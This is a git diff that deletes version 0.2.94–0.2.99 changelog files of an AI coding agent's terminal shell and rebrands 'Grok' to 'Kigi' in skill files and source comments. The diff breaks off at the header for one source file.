diff --git a/crates/codegen/kigi-shell/changelogs/0.2.94.json b/crates/codegen/kigi-shell/changelogs/0.2.94.json
deleted file mode 100644
index 806488a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.94.json
+++ /dev/null
@@ -1,77 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**/sessions** now opens the Agent Dashboard instead of a separate picker.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queued bash commands** promoted at turn end now render their output instead of disappearing.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New /goal <objective>** slash command** is now available when the workspace supports it.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Xcode / Foundation ACP clients** can now drive grok agent stdio without silent parse drops on session/* calls.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**read_file** now returns full single-line content (minified JSON, large dumps) instead of silently clipping at 2000 characters.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background task** command preambles with newlines now render on separate lines instead of collapsing.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Text selections** now highlight uniformly even over inline code, links, and syntax-colored spans.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**grok --minimal** now supports native drag-select on classic Windows conhost terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok inspect** now lists skills from [skills].paths and correctly labels bundled vs user skills.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Skill tokens such as /pr-workflow are now highlighted teal when used mid-sentence.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Fixed a crash when a filtered list shrinks while the filter is active.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Scroll lines and scroll speed settings now support fine unit-step adjustments.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Project-specific Claude plugins are no longer visible outside their project directory.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**--minimal** and **--fullscreen** choices are now remembered for future plain grok launches.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "First prompt no longer stalls for many seconds on large repositories while the filesystem watcher starts.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.94.md b/crates/codegen/kigi-shell/changelogs/0.2.94.md
deleted file mode 100644
index 9ffc442..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.94.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# 0.2.94 — 2026-07-09
-
-## Features
-
-- **/sessions** now opens the Agent Dashboard instead of a separate picker.
-- **New /goal <objective>** slash command** is now available when the workspace supports it.
-- **grok inspect** now lists skills from [skills].paths and correctly labels bundled vs user skills.
-- **--minimal** and **--fullscreen** choices are now remembered for future plain grok launches.
-
-## Bug Fixes
-
-- **Queued bash commands** promoted at turn end now render their output instead of disappearing.
-- **Xcode / Foundation ACP clients** can now drive grok agent stdio without silent parse drops on session/* calls.
-- **read_file** now returns full single-line content (minified JSON, large dumps) instead of silently clipping at 2000 characters.
-- **Background task** command preambles with newlines now render on separate lines instead of collapsing.
-- **Text selections** now highlight uniformly even over inline code, links, and syntax-colored spans.
-- **grok --minimal** now supports native drag-select on classic Windows conhost terminals.
-- Skill tokens such as /pr-workflow are now highlighted teal when used mid-sentence.
-- Fixed a crash when a filtered list shrinks while the filter is active.
-- Scroll lines and scroll speed settings now support fine unit-step adjustments.
-- Project-specific Claude plugins are no longer visible outside their project directory.
-- First prompt no longer stalls for many seconds on large repositories while the filesystem watcher starts.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.95.json b/crates/codegen/kigi-shell/changelogs/0.2.95.json
deleted file mode 100644
index 3b63edd..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.95.json
+++ /dev/null
@@ -1,82 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**IME text input in Otty** no longer attaches unrelated clipboard images on every character.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Rewind** now fully removes the selected turn from both scrollback and the model's conversation history.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queued prompts** now abort long blocking waits instead of waiting for the full timeout.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Teams** can now ship default allowed commands via managed_config.toml (user deny rules still win).",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**File links and media** now work for worktree sessions under ~/.grok/worktrees/.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Collapsed Read/Edit tool rows** now show only the filename instead of long absolute paths.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Clipboard copies on Wayland** now succeed even when the terminal loses focus mid-copy.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**User messages queued** behind an auto-wake turn are no longer lost when the user presses Ctrl+C.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Mid-turn interjections** now appear as normal user prompts (❯) instead of a separate cyan block.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Slash completion** now shows sibling skills that share a frontmatter name and correctly sizes wrapped descriptions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Single tool calls** that belong to a verb group now collapse into an aggregated header row.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**File watching** on Linux now uses far fewer system resources for large projects with many dependencies.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed sessions** that became permanently stuck after tool-use history corruption.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/always-approve** and **/auto** now toggle their mode on and off when run repeatedly.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Terminal command cards** on grok.com now correctly settle after foreground bash tasks.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Copy failure** toast now recommends trying /minimal for native terminal rendering.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.95.md b/crates/codegen/kigi-shell/changelogs/0.2.95.md
deleted file mode 100644
index c1fc48b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.95.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# 0.2.95 — 2026-07-09
-
-## Features
-
-- **Teams** can now ship default allowed commands via managed_config.toml (user deny rules still win).
-- **Mid-turn interjections** now appear as normal user prompts (❯) instead of a separate cyan block.
-
-## Bug Fixes
-
-- **IME text input in Otty** no longer attaches unrelated clipboard images on every character.
-- **Rewind** now fully removes the selected turn from both scrollback and the model's conversation history.
-- **Queued prompts** now abort long blocking waits instead of waiting for the full timeout.
-- **File links and media** now work for worktree sessions under ~/.kigi/worktrees/.
-- **Collapsed Read/Edit tool rows** now show only the filename instead of long absolute paths.
-- **Clipboard copies on Wayland** now succeed even when the terminal loses focus mid-copy.
-- **User messages queued** behind an auto-wake turn are no longer lost when the user presses Ctrl+C.
-- **Slash completion** now shows sibling skills that share a frontmatter name and correctly sizes wrapped descriptions.
-- **Single tool calls** that belong to a verb group now collapse into an aggregated header row.
-- **Fixed sessions** that became permanently stuck after tool-use history corruption.
-- **/always-approve** and **/auto** now toggle their mode on and off when run repeatedly.
-- **Terminal command cards** on grok.com now correctly settle after foreground bash tasks.
-- **Copy failure** toast now recommends trying /minimal for native terminal rendering.
-
-## Performance
-
-- **File watching** on Linux now uses far fewer system resources for large projects with many dependencies.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.96.json b/crates/codegen/kigi-shell/changelogs/0.2.96.json
deleted file mode 100644
index 4e9ab2f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.96.json
+++ /dev/null
@@ -1,167 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Vim `l` key** now opens the selected agent detail view in the dashboard.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**System notifications** now carry structured kind/title/body for better rendering.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**x.ai/pr/status** now reports whether an open PR is in the merge queue.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Terminal commands** with no args now run through a shell, matching the CLI.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Compact mode** now activates automatically on very small terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Up arrow** on an empty prompt now browses prompt history; `/history` searches it.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Stop hook runs** now appear inline on the turn-completed line instead of a separate block.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Agent teardown** no longer crashes on slim Linux images that lack the ps command.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Esc** now dismisses an open /btw panel before backing out of a dashboard overlay.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Subagent rows** now fold into verb-group headers and the tasks pane shows live activity labels.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resumed grok.com chats** now use the conversation's last model instead of the gateway default.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Dashboard shortcuts** now advertise ? instead of Ctrl+. on terminals that cannot deliver the latter.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**JetBrains terminals on Windows** now default to minimal mode to avoid raw mouse-report leaks in the prompt.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Skill token highlights** now survive line wraps and the slash menu opens when typing / before existing text.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Double-clicking** scrollback while Text selection is fold/nav now shows a tip offering Ctrl+Y to enable Word select.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Truncated or tiny images** are now dropped before sending and previously poisoned sessions self-heal on restart.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session switch hints** after `/new` or fork now show the working command in minimal mode.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**`grok worktree ls`** now works as a short alias for `grok worktree list`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Progress bars** in Ghostty and WezTerm now stop correctly for parked task waits.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`/effort`** now rejects levels the current model does not support instead of sending a bad value to the API.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`/recap`** on a fresh session now says \"No messages yet\" instead of failing.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Monitor and system messages** no longer appear as user prompts when resuming old sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`/rewind`** completion now appears as a brief toast instead of a permanent transcript line.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Auto recaps** no longer appear under a newer user message when you start typing again.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**MCP tool output truncation** can now be set per-repo in `.grok/config.toml`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Authentication retries** after token refresh no longer hang for minutes or days.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Auto-send of queued follow-ups** during task waits can now be enabled fleet-wide via remote settings.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Text selection tip** no longer appears on the first double-click or on non-assistant blocks.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Welcome screen** now offers one-click resume of a recent Claude Code session via ctrl+u.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Skill slash commands** queued while a turn runs can now be sent immediately with Enter or the interject chord.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Drag text selection** now works inside the dashboard dispatch input box.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Multi-line paste chips** in dashboard inputs now support preview and expand like the main prompt.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Live previews** now always fetch the latest content without browser or CDN caching.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.96.md b/crates/codegen/kigi-shell/changelogs/0.2.96.md
deleted file mode 100644
index 2fbf1a6..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.96.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# 0.2.96 — 2026-07-10
-
-## Features
-
-- **System notifications** now carry structured kind/title/body for better rendering.
-- **x.ai/pr/status** now reports whether an open PR is in the merge queue.
-- **Compact mode** now activates automatically on very small terminals.
-- **Up arrow** on an empty prompt now browses prompt history; `/history` searches it.
-- **Stop hook runs** now appear inline on the turn-completed line instead of a separate block.
-- **Subagent rows** now fold into verb-group headers and the tasks pane shows live activity labels.
-- **Dashboard shortcuts** now advertise ? instead of Ctrl+. on terminals that cannot deliver the latter.
-- **Double-clicking** scrollback while Text selection is fold/nav now shows a tip offering Ctrl+Y to enable Word select.
-- **`grok worktree ls`** now works as a short alias for `grok worktree list`.
-- **MCP tool output truncation** can now be set per-repo in `.kigi/config.toml`.
-- **Auto-send of queued follow-ups** during task waits can now be enabled fleet-wide via remote settings.
-- **Welcome screen** now offers one-click resume of a recent Claude Code session via ctrl+u.
-
-## Bug Fixes
-
-- **Vim `l` key** now opens the selected agent detail view in the dashboard.
-- **Terminal commands** with no args now run through a shell, matching the CLI.
-- **Agent teardown** no longer crashes on slim Linux images that lack the ps command.
-- **Esc** now dismisses an open /btw panel before backing out of a dashboard overlay.
-- **Resumed grok.com chats** now use the conversation's last model instead of the gateway default.
-- **JetBrains terminals on Windows** now default to minimal mode to avoid raw mouse-report leaks in the prompt.
-- **Skill token highlights** now survive line wraps and the slash menu opens when typing / before existing text.
-- **Truncated or tiny images** are now dropped before sending and previously poisoned sessions self-heal on restart.
-- **Session switch hints** after `/new` or fork now show the working command in minimal mode.
-- **Progress bars** in Ghostty and WezTerm now stop correctly for parked task waits.
-- **`/effort`** now rejects levels the current model does not support instead of sending a bad value to the API.
-- **`/recap`** on a fresh session now says "No messages yet" instead of failing.
-- **Monitor and system messages** no longer appear as user prompts when resuming old sessions.
-- **`/rewind`** completion now appears as a brief toast instead of a permanent transcript line.
-- **Auto recaps** no longer appear under a newer user message when you start typing again.
-- **Authentication retries** after token refresh no longer hang for minutes or days.
-- **Text selection tip** no longer appears on the first double-click or on non-assistant blocks.
-- **Skill slash commands** queued while a turn runs can now be sent immediately with Enter or the interject chord.
-- **Drag text selection** now works inside the dashboard dispatch input box.
-- **Multi-line paste chips** in dashboard inputs now support preview and expand like the main prompt.
-- **Live previews** now always fetch the latest content without browser or CDN caching.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.97.json b/crates/codegen/kigi-shell/changelogs/0.2.97.json
deleted file mode 100644
index 06718b2..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.97.json
+++ /dev/null
@@ -1,97 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Headless JSON output** now includes token usage and cost per prompt and session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background tasks** started by the model in headless mode are now killed on exit instead of leaking.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**SDK turns** now expose detailed token usage and cost information via Turn.usage.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Double-click or Enter** on a previous user message now lets you edit and resubmit it directly from the transcript.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Text selection** in scrollback now works better when starting on chrome, gaps, or while scrolling.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Agent process leaks** on failed spawns and missing-stdio teardown are now prevented.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Parked turn markers** no longer appear after interjections and now count down as background tasks finish.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**The /context** tool definitions line no longer shows the cryptic disclaimer suffix.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Terminal release** waits boundedly for the process to exit and repeated waits share the drain grace.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a crash** when the agent asked a question on narrow terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Shell commands using `rg`** (ripgrep) no longer require permission prompts by default.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed misleading keyboard hints** in the /mcps panel in minimal mode.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Voice mode** is now available for API-key sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Clipboard copy** now reports success correctly when using iTerm2 over SSH.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed scroll/input conflicts** when plan approval appeared over an open edit block.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New environment variables** allow tuning scroll and draw cadence for high-refresh displays.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed frequent MCP and skills reloads** that could freeze sessions on devboxes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP servers using HTTP** (such as HTTP MCP servers for Slack) now automatically recover from disconnects.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Next reset time** in /usage now shows in your local timezone instead of Pacific Time.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.97.md b/crates/codegen/kigi-shell/changelogs/0.2.97.md
deleted file mode 100644
index 05cf115..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.97.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# 0.2.97 — 2026-07-11
-
-## Features
-
-- **Headless JSON output** now includes token usage and cost per prompt and session.
-- **SDK turns** now expose detailed token usage and cost information via Turn.usage.
-- **Double-click or Enter** on a previous user message now lets you edit and resubmit it directly from the transcript.
-- **Text selection** in scrollback now works better when starting on chrome, gaps, or while scrolling.
-- **Shell commands using `rg`** (ripgrep) no longer require permission prompts by default.
-- **Voice mode** is now available for API-key sessions.
-- **New environment variables** allow tuning scroll and draw cadence for high-refresh displays.
-
-## Bug Fixes
-
-- **Background tasks** started by the model in headless mode are now killed on exit instead of leaking.
-- **Agent process leaks** on failed spawns and missing-stdio teardown are now prevented.
-- **Parked turn markers** no longer appear after interjections and now count down as background tasks finish.
-- **The /context** tool definitions line no longer shows the cryptic disclaimer suffix.
-- **Terminal release** waits boundedly for the process to exit and repeated waits share the drain grace.
-- **Fixed a crash** when the agent asked a question on narrow terminals.
-- **Fixed misleading keyboard hints** in the /mcps panel in minimal mode.
-- **Clipboard copy** now reports success correctly when using iTerm2 over SSH.
-- **Fixed scroll/input conflicts** when plan approval appeared over an open edit block.
-- **Fixed frequent MCP and skills reloads** that could freeze sessions on devboxes.
-- **MCP servers using HTTP** (such as HTTP MCP servers for Slack) now automatically recover from disconnects.
-- **Next reset time** in /usage now shows in your local timezone instead of Pacific Time.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.98.json b/crates/codegen/kigi-shell/changelogs/0.2.98.json
deleted file mode 100644
index 7cdd3da..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.98.json
+++ /dev/null
@@ -1,112 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**`/context`** now shows token costs for skills and MCP servers.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "A `pre_tool_use` deny now feeds the reason back so the model can retry instead of cancelling the turn.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**`env_key`** in config now accepts an array of environment variable names.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Plan mode now strictly rejects edits outside the plan file, even under always-approve.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Web search** and X search no longer fail when both a local function tool and the backend hosted tool are active.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Content-filter refusals** from providers now show an explanation instead of ending silently with no output.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Linux middle-click paste from the primary selection now works; clipboard errors are handled more reliably.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/terminal-setup** now shows your terminal's color support level and which themes are available.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok setup --json** prints your team's managed configuration without installing it.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**SQLite databases** no longer cause bus errors on network filesystems such as NFS.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Messages you type while the model waits on tasks now stay queued; pressing Enter twice sends them immediately by cancelling the current turn.",
-    "breaking_change": false
-  },
-  {
-    "category": "breaking",
-    "description": "You can now pin authentication to API key or OIDC in config.toml; the unpinned method is no longer tried automatically.",
-    "breaking_change": true
-  },
-  {
-    "category": "features",
-    "description": "**How-to Guides** modal now shows a tip linking to Ask Grok above the footer shortcuts.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resuming** a session that is already open now focuses the existing view instead of creating duplicates.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Subagent** `task` and `spawn_subagent` tools now accept an optional `model` parameter in the CLI.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Turn completion** markers in scrollback now read \"Worked for …\" instead of \"Turn completed in …\".",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/btw** loading spinner now animates correctly when the main session is idle.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mid-turn** wait spinners now correctly show \"Waiting on task output…\" instead of Thinking.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Keyboard Shortcuts** modal now lists the paste key binding for images under the Input section.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Scrollbar thumb** is now visible in the oscura-midnight theme.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Status messages for background work now end with a period.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Editing queued prompts** no longer freezes the terminal or duplicates text into the composer.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.98.md b/crates/codegen/kigi-shell/changelogs/0.2.98.md
deleted file mode 100644
index fb1e1a9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.98.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# 0.2.98 — 2026-07-12
-
-## Breaking Changes
-
-- You can now pin authentication to API key or OIDC in config.toml; the unpinned method is no longer tried automatically.
-
-## Features
-
-- **`/context`** now shows token costs for skills and MCP servers.
-- **`env_key`** in config now accepts an array of environment variable names.
-- Linux middle-click paste from the primary selection now works; clipboard errors are handled more reliably.
-- **/terminal-setup** now shows your terminal's color support level and which themes are available.
-- **grok setup --json** prints your team's managed configuration without installing it.
-- Messages you type while the model waits on tasks now stay queued; pressing Enter twice sends them immediately by cancelling the current turn.
-- **How-to Guides** modal now shows a tip linking to Ask Grok above the footer shortcuts.
-- **Subagent** `task` and `spawn_subagent` tools now accept an optional `model` parameter in the CLI.
-- **Keyboard Shortcuts** modal now lists the paste key binding for images under the Input section.
-
-## Bug Fixes
-
-- A `pre_tool_use` deny now feeds the reason back so the model can retry instead of cancelling the turn.
-- Plan mode now strictly rejects edits outside the plan file, even under always-approve.
-- **Web search** and X search no longer fail when both a local function tool and the backend hosted tool are active.
-- **Content-filter refusals** from providers now show an explanation instead of ending silently with no output.
-- **SQLite databases** no longer cause bus errors on network filesystems such as NFS.
-- **Resuming** a session that is already open now focuses the existing view instead of creating duplicates.
-- **Turn completion** markers in scrollback now read "Worked for …" instead of "Turn completed in …".
-- **/btw** loading spinner now animates correctly when the main session is idle.
-- **Mid-turn** wait spinners now correctly show "Waiting on task output…" instead of Thinking.
-- **Scrollbar thumb** is now visible in the oscura-midnight theme.
-- Status messages for background work now end with a period.
-- **Editing queued prompts** no longer freezes the terminal or duplicates text into the composer.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.99.json b/crates/codegen/kigi-shell/changelogs/0.2.99.json
deleted file mode 100644
index 91c620e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.99.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Multiline input** now works on the agent dashboard the same way it does in regular sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**PageUp and PageDown** now scroll the conversation while the prompt is focused.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Keyboard Shortcuts** modal now follows Vim mode navigation keys when enabled.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.99.md b/crates/codegen/kigi-shell/changelogs/0.2.99.md
deleted file mode 100644
index f8af273..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.99.md
+++ /dev/null
@@ -1,8 +0,0 @@
-# 0.2.99 — 2026-07-12
-
-## Features
-
-- **Multiline input** now works on the agent dashboard the same way it does in regular sessions.
-- **PageUp and PageDown** now scroll the conversation while the prompt is focused.
-- **Keyboard Shortcuts** modal now follows Vim mode navigation keys when enabled.
-
diff --git a/crates/codegen/kigi-shell/skills/create-skill/SKILL.md b/crates/codegen/kigi-shell/skills/create-skill/SKILL.md
index 1ac2fe1..27da58e 100644
--- a/crates/codegen/kigi-shell/skills/create-skill/SKILL.md
+++ b/crates/codegen/kigi-shell/skills/create-skill/SKILL.md
@@ -1,15 +1,15 @@
 ---
 name: create-skill
 description: >
-  Interactively create a new Grok skill (SKILL.md + optional scripts/references).
+  Interactively create a new Kigi skill (SKILL.md + optional scripts/references).
   Use when the user wants to create a skill, scaffold a skill, or runs /create-skill.
 metadata:
-  short-description: "Create a new Grok skill"
+  short-description: "Create a new Kigi skill"
 ---
 
 # Create Skill
 
-Interactively gather requirements from the user and create a fully working Grok skill on disk.
+Interactively gather requirements from the user and create a fully working Kigi skill on disk.
 
 ## Step 1: Gather information
 
@@ -26,7 +26,7 @@ Ask the user the following questions **one at a time as regular conversation que
 
 Write a `description` frontmatter value that includes:
 - What the skill does (1-2 sentences)
-- Trigger phrases and keywords so Grok knows when to auto-invoke it
+- Trigger phrases and keywords so Kigi knows when to auto-invoke it
 - The slash command name (e.g. "Use when the user runs /deploy-k8s")
 
 Show the drafted description to the user and let them approve or edit it.
@@ -69,7 +69,7 @@ Also write any supporting files (scripts, references) using the same create meth
 2. Tell the user the skill is ready and how to use it:
    - Slash command: `/<skill-name>`
    - TUI menu: `/skills <skill-name>`
-   - Automatic: Grok will invoke it when the description matches user intent
+   - Automatic: Kigi will invoke it when the description matches user intent
 3. Tell the user the skill should appear in the slash menu within a few seconds (skills auto-reload when files change on disk).
 
 ## Guidelines
diff --git a/crates/codegen/kigi-shell/skills/help/SKILL.md b/crates/codegen/kigi-shell/skills/help/SKILL.md
index 154490f..a022b01 100644
--- a/crates/codegen/kigi-shell/skills/help/SKILL.md
+++ b/crates/codegen/kigi-shell/skills/help/SKILL.md
@@ -1,17 +1,17 @@
 ---
 name: help
 description: >
-  Grok documentation and configuration help. Use when users ask about
+  Kigi documentation and configuration help. Use when users ask about
   setup, configuration, MCP servers, authentication, skills, slash commands,
-  keyboard shortcuts, or any Grok feature. Also use proactively when you
+  keyboard shortcuts, or any Kigi feature. Also use proactively when you
   detect a user is having trouble with setup or onboarding.
 metadata:
-  short-description: "Grok docs — config, MCP, auth, skills, commands"
+  short-description: "Kigi docs — config, MCP, auth, skills, commands"
 ---
 
-# Grok Help
+# Kigi Help
 
-Answer the user's question about Grok setup, configuration, or features.
+Answer the user's question about Kigi setup, configuration, or features.
 
 ## Steps
 
diff --git a/crates/codegen/kigi-shell/src/active_sessions.rs b/crates/codegen/kigi-shell/src/active_sessions.rs
index a9155c8..064b21a 100644
--- a/crates/codegen/kigi-shell/src/active_sessions.rs
+++ b/crates/codegen/kigi-shell/src/active_sessions.rs
@@ -23,7 +23,7 @@ const DATA_FILENAME: &str = "active_sessions.json";
 const LOCK_FILENAME: &str = "active_sessions.lock";
 const TMP_FILENAME: &str = "active_sessions.json.tmp";
 
-// -- Public API (delegates to `_in` variants with default grok home) --------
+// -- Public API (delegates to `_in` variants with default kigi home) --------
 
 /// Register a session as active (idempotent by session_id).
 pub fn register(session: ActiveSession) -> io::Result<()> {
diff --git a/crates/codegen/kigi-shell/src/agent/activity.rs b/crates/codegen/kigi-shell/src/agent/activity.rs
index 68d6d23..164fded 100644
--- a/crates/codegen/kigi-shell/src/agent/activity.rs
+++ b/crates/codegen/kigi-shell/src/agent/activity.rs
@@ -3,7 +3,7 @@
 //! that cannot read the `!Send` `MvpAgent` state on the `LocalSet`).
 //!
 //! The leader's `agent_busy` flag only counts IPC (Unix-socket) requests;
-//! relay (grok.com WebSocket) traffic is bridged straight into the agent's
+//! relay (kimi.com WebSocket) traffic is bridged straight into the agent's
 //! ACP stdin and never sets it, so a relay-driven leader (devbox / remote)
 //! always looked idle and got restarted mid-turn on every update —
 //! surfacing as "Subagent result channel dropped".
diff --git a/crates/codegen/kigi-shell/src/agent/app.rs b/crates/codegen/kigi-shell/src/agent/app.rs
index 5d35176..9fc917d 100644
--- a/crates/codegen/kigi-shell/src/agent/app.rs
